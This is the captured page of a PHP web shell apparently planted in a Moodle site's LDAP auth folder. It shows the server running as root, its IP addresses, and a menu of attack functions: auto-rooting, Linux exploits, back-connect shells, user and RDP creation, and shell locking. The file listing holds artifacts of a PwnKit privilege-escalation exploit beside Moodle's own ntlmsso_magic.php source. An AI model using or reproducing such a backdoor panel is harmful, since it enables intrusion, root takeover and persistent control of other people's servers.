Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
auth /
ldap /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxrwxrwx
cli
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
README-LDAP
74
B
-rwxrwxrwx
auth.php
97
KB
-rwxrwxrwx
locallib.php
2.2
KB
-rwxrwxrwx
ntlmsso_attempt.php
1.24
KB
-rwxrwxrwx
ntlmsso_finish.php
1.12
KB
-rwxrwxrwx
ntlmsso_magic.php
1.22
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
settings.php
17.33
KB
-rwxrwxrwx
upgrade.txt
571
B
-rwxrwxrwx
version.php
1.14
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ntlmsso_magic.php
<?php // Don't let lib/setup.php set any cookies // as we will be executing under the OS security // context of the user we are trying to login, rather than // of the webserver. define('NO_MOODLE_COOKIES', true); require(__DIR__.'/../../config.php'); $PAGE->set_context(context_system::instance()); $authsequence = get_enabled_auth_plugins(); // Auths, in sequence. if (!in_array('ldap', $authsequence, true)) { print_error('ldap_isdisabled', 'auth'); } $authplugin = get_auth_plugin('ldap'); if (empty($authplugin->config->ntlmsso_enabled)) { print_error('ntlmsso_isdisabled', 'auth_ldap'); } $sesskey = required_param('sesskey', PARAM_RAW); $file = $CFG->dirroot.'/pix/spacer.gif'; if ($authplugin->ntlmsso_magic($sesskey) && file_exists($file)) { if (!empty($authplugin->config->ntlmsso_ie_fastpath)) { if (core_useragent::is_ie()) { redirect($CFG->wwwroot.'/auth/ldap/ntlmsso_finish.php'); } } // Serve GIF // Type header('Content-Type: image/gif'); header('Content-Length: '.filesize($file)); // Output file $handle = fopen($file, 'r'); fpassthru($handle); fclose($handle); exit; } else { print_error('ntlmsso_iwamagicnotenabled', 'auth_ldap'); }
Close